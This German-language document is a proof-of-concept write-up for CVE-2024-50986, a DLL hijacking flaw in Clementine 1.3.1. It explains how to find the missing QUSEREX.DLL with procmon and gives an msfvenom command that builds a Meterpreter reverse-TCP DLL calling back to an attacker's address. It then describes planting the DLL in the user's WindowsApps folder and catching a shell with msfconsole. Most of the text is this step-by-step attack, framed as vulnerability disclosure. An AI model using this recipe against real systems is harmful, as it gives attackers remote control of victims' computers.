CVE-2024-50986: DLL-Hijacking-Exploit für Clementine

Beschreibung: Ein Problem in Clementine v.1.3.1 ermöglicht einem lokalen Angreifer, beliebigen Code über eine manipulierte DLL-Datei auszuführen.

Betroffene Version: Clementine v.1.3.1

Forscher: Utkarsh (r1971d3) LinkedIn

NIST CVE-Link: https://nvd.nist.gov/vuln/detail/CVE-2024-50986

Sicherheitsanfälligkeitstyp: Nicht vertrauenswürdiger Suchpfad

Betroffene Komponente: QUSEREX.DLL

Proof-of-Concept Exploit

Angriffsvektor

Um diese Sicherheitslücke auszunutzen, muss ein Angreifer eine bösartige DLL namens QUSEREX.DLL erstellen und im Verzeichnis C:\Users<username>\AppData\Local\Microsoft\WindowsApps\ ablegen. Wenn die Clementine-Anwendung gestartet wird, lädt sie die bösartige DLL und führt den Code des Angreifers aus.

Beschreibung & Nutzung

1. Verwenden Sie den Process Monitor (procmon) mit geeigneten Filtern, um fehlende DLLs zu identifizieren und zu verfolgen, wo Clementine innerhalb des Windows-Betriebssystems nach ihnen sucht

2. Die Suche zeigt, dass die DLL „QUSEREX.DLL“ an mehreren Orten gesucht wird, einschließlich C:\Users<username>\AppData\Local\Microsoft\WindowsApps\

3. Eine bösartige DLL wird mit msfvenom und dem folgenden Befehl erstellt:

sudo msfvenom -p windows/meterpreter/reverse_tcp -ax86 -f dll LHOST=<IP Address> LPORT=<Port> > QUSEREX.DLL

4. Diese bösartige DLL wird im Verzeichnis C:\Users<username>\AppData\Local\Microsoft\WindowsApps\ platziert, wo sie erfolgreich von Clementine geladen wird.

5. Mit msfconsole wird ein gestaffelter Payload über die Reverse-Shell gesendet, was dazu führt, dass eine Meterpreter-Shell-Sitzung im Verzeichnis C:\Program Files (x86)\Clementine\projectm-presets auf dem Zielcomputer erlangt wird.